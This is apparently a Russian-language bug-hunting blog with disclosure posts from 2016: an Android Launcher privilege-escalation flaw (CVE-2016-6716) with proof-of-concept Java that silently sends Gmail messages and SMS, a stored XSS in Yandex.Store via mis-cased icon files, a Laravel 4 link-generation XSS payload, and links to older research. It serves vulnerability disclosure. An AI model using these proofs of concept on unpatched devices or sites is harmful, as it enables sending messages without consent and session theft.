08 ноября 2016

Elevation of privilege vulnerability in Android Launcher


Работая с Android приложениями, я обнаружил интересную функциональность - создание ярлыков для главного экрана. Они используются для упрощения каких-либо действий, например, открытие нужного контакта одним кликом.
В приложении “Контакты” это выглядит примерно так:

Создание ярлыков появилось в Android 4.4, но почему-то довольно слабо документировано и реализовано следующим образом.

Приложение запрашивает привилегию INSTALL_SHORTCUT, которая в зависимости от лаунчера может относится к категории нормальных или опасных привилегий.

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />

Далее приложение формирует Intent, с помощью которого будет запущено Activity с нужными параметрами. Пример с контактами:

Intent shortcutIntent = new Intent("android.provider.action.QUICK_CONTACT");
shortcutIntent.setDataAndType(Uri.parse("content://com.android.contacts/contacts/80"), "vnd.android.cursor.item/contact");

После чего отсылает этот Intent приложению, отвечающему за создание ярлыков (у меня на Nexus 5 это com.google.android.googlequicksearchbox), с помощью Broadcast сообщения.

Intent intent = new Intent();
intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Shortcut Example");
intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
sendBroadcast(intent);

Когда пользователь вызывает ярлык, по сути, происходит запуск Activity с помощью переданного EXTRA_SHORTCUT_INTENT от имени приложения googlequicksearchbox. Именно в этом и заключается проблема. Если вы интересуетесь уязвимостями в Android приложениях, то наверняка вспомните это исследование мобильных браузеров http://www.mbsd.jp/Whitepaper/IntentScheme.pdf.

В случае с браузерами, запуск произвольного Activity через intent-схему позволил вызвать неэкспортированные компоненты приложения, что привело к целому ряду интересных уязвимостей. Аналогичным образом я очень долго пытался играться со внутренностями приложения googlequicksearchbox, но особых успехов кроме нескольких падений не добился.

Обсудив эту уязвимость с Dmitry Lukyanenko, мы получили решение практически мгновенно. Ведь в запуске произвольных Activity можно использовать не только внутренние неэкспортированные компоненты, но и вызывать другие предустановленные приложения, используя привилегии googlequicksearchbox. А описанных привилегий было довольно много, в том числе с protectionLevel signature, доступных только приложениям Google.

[+] Список привилегий

После анализа других приложений от Google были найдены подходящие Activity и получились следующие PoC:

  1. Отправка произвольного письма с помощью приложения Gmail (com.google.android.gm)

    
    <permission 
     ...
     android:name="com.google.android.gm.permission.AUTO_SEND"
     ...
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:excludeFromRecents="true" 
     android:exported="true" ...
     android:name="com.google.android.gm.AutoSendActivity"
     android:permission="com.google.android.gm.permission.AUTO_SEND" ...>
       <intent-filter android:label="@string/app_name">
         <action android:name="com.google.android.gm.action.AUTO_SEND"/>
         <category android:name="android.intent.category.DEFAULT"/>
         <data android:mimeType="*/*"/>
       </intent-filter>
    </activity>

    Пример использования:

    Intent shortcutIntent = new Intent("com.google.android.gm.action.AUTO_SEND");
    shortcutIntent.setClassName("com.google.android.gm", "com.google.android.gm.AutoSendActivity");
    shortcutIntent.putExtra("to", "<email>");
    shortcutIntent.putExtra("subject", "Shortcut Test");
    shortcutIntent.putExtra("body", "Hello");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send email");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent);
  2. Отправка произвольных SMS с помощью приложения Hangouts (com.google.android.talk)

    <permission 
     android:name="com.google.android.hangouts.START_HANGOUT" 
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:exported="true"
     android:name="com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity" 
     android:permission="com.google.android.hangouts.START_HANGOUT" ...>
        ...
        <intent-filter android:label="@string/share_intent_label">
          <action android:name="android.intent.action.SENDTO"/>
          ...
        </intent-filter>
      </activity>

    Пример использования:

    Intent shortcutIntent = new Intent();
    shortcutIntent.setClassName("com.google.android.talk", "com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity");
    shortcutIntent.setAction("android.intent.action.SENDTO");
    shortcutIntent.putExtra("android.intent.extra.TEXT", "Hello");
    shortcutIntent.putExtra("account_name","<CURRENT_EMAIL_ACCOUNT>");
    shortcutIntent.putExtra("participant_name","31337");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send sms");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent); 

Результаты нажатия на shortcut:

CVE-2016-6716 https://source.android.com/security/bulletin/2016-11-01.html#eop-in-aosp-launcher

Fix https://android.googlesource.com/platform/packages/apps/Launcher3/+/c2b630c8b202f09a8a34f707d81733eef3efb560

12 сентября 2016

[developer.store.yandex.ru] Stored XSS


Нестандартная XSS в сервисе для публикации Android приложений в Яндекс.Store.

При добавлении нового приложения из apk извлекаются иконки, которые доступны по адресу
https://developer.store.yandex.ru/static/icon/<app_id>/<name>.png

Я обнаружил, что для иконок проверяется только расширение по белому списку (png, gif, jpg), но отсутствует проверка содержимого и регистра названия. Оказалось, что использование нестандартного регистра в расширении (например, ic_launcher.PNG) не поддерживается веб-сервером и заголовок Content-Type начинает определяться по контенту файла.

Таким образом, если в Android приложении заменить иконку файлом <html><script>alert(1)</script></html> с названием ic_launcher.PNG, подписать его и загрузить на сервер, то получается Stored XSS.

Аналогичным образом можно было загрузить вместо иконки SWF-файл и, используя дополнительные уязвимости, найденные ранее, довести атаку до полного захвата пользовательской сессии.

А именно:
1) Небезопасная настройка crossdomain.xml на browser.export.yandex.com (файл уже недоступен)
<allow-access-from domain="*"/>

2) XScript сценарий, выводящий все Cookie пользователя, включая Session_id. Для доступа к нему необходим был заголовок Referer, соответствующий регулярному выражению yandex сайтов.
browser.export.yandex.com/xml/common.xml (файл уже недоступен)

Примеры используемых apk:
https://blackfan.ru/bugbounty/xss_html.apk
https://blackfan.ru/bugbounty/xss_flash.apk


Некорректная обработка Location в IE


Очень круто, что обнаруженный мной баг с обработкой Location в Internet Explorer (почитать можно тут, тут или тут) используется и с небольшими дополнениями выстреливает в популярных BugBounty программах.

XSS via Host header - www.google.com/cse
http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html

GitHub OAuth Code Theft
https://blog.innerht.ml/internet-explorer-has-a-url-problem/

Combining host header injection and lax host parsing serving malicious data
https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/

How I could Steal Your Google Bug Hunter Account with Two Clicks in IE
http://ngailong.com/how-i-could-steal-your-google-bug-hunter-account-with-two-clicks-in-ie/


Баг генерации ссылок в Laravel 4


В случае, если имеется следующий blade шаблон:

<a href="{{ URL::route('index', Input::except('password')) }}">Index</a>

При обычных попытках использовать XSS ничего не получится, и при запросе

http://site.com/index?test<>'"=test<>'"

Будет сгенерирована следующая ссылка:

<a href="http://site.com/index?test%3C%3E%27%22=test%3C%3E%27%22">Index</a>

Но, если использовать числовой параметр:

http://site.com/index?123="><script>alert(1)</script>

То результат будет:

<a href="http://site.com/index?"><script>alert(1)</script>">Index</a>

Код генерации query_string:

    protected function getRouteQueryString(array $parameters)
    {
        // First we will get all of the string parameters that are remaining after we
        // have replaced the route wildcards. We'll then build a query string from
        // these string parameters then use it as a starting point for the rest.
        if (count($parameters) == 0) {
            return '';
        }
        $query = http_build_query(
            $keyed = $this->getStringParameters($parameters)
        );
        // Lastly, if there are still parameters remaining, we will fetch the numeric
        // parameters that are in the array and add them to the query string or we
        // will make the initial query string if it wasn't started with strings.
        if (count($keyed) < count($parameters)) {
            $query .= '&'.implode(
                '&', $this->getNumericParameters($parameters)
            );
        }
        return '?'.trim($query, '&');
    }

Для обычных параметров используется http_build_query, который автоматически делает urlencode, а числовые параметры добавляются без обработки.

В Laravel 5 такого уже нет, так как ссылку кодируют целиком, оставляя только символы из белого списка.

    protected $dontEncode = [
        '%2F' => '/',
        '%40' => '@',
        '%3A' => ':',
        '%3B' => ';',
        '%2C' => ',',
        '%3D' => '=',
        '%2B' => '+',
        '%21' => '!',
        '%2A' => '*',
        '%7C' => '|',
        '%3F' => '?',
        '%26' => '&',
        '%23' => '#',
        '%25' => '%',
    ];
    ...
    $uri = strtr(rawurlencode($uri), $this->dontEncode);

23 апреля 2016

Старые публикации


Старые публикации достойные внимания:


Не все cookie одинаково полезны, 07.12.2015
Комбинация недостатков обработки Cookie, которая может привести к обходу CSRF защиты популярных сайтов.
https://habrahabr.ru/post/272187/


Будни багхантинга: еще одна уязвимость в Facebook, 14.01.2015
XSS через CRLF Injection на facebook.com.
https://habrahabr.ru/company/pt/blog/247709/


VolgaCTF 2014 MySQL Game, 15.09.2014
Обзор Error-Based векторов для MySQL инъекций и их минимизации.
https://rdot.org/forum/showthread.php?t=3257


Обход безопасной загрузки изображений, 28.06.2013
Пример встраивания данных в JPG, которые сохранятся после использования функций imagecopyresized и imagecopyresampled.
https://rdot.org/forum/showthread.php?t=2780


Атаки через Request-Path + Баги IE, 20.01.2013
Обзор атак через небезопасную обработку Request-URI.
Некорректная обработка Location в Internet Explorer, эксплуатация XSS через Host в IE.
https://rdot.org/forum/showthread.php?t=2596
https://xakep.ru/issues/xa/171 (Защитным фильтрам вопреки. Атаки на веб-приложения через Request-URI)


YandexBugBounty, 15.12.2012
Разбор уязвимостей, найденных в рамках Yandex Bug Bounty.
https://rdot.org/forum/showthread.php?t=2537


SQLite 3 error-based injection, 13.06.2012
https://rdot.org/forum/showthread.php?t=2221


Магические методы, сериализация, инъекции в сессию и все-все-все, 02.12.2010
Обзор десериализации в PHP и всего, что с ней связано.
https://rdot.org/forum/showthread.php?t=950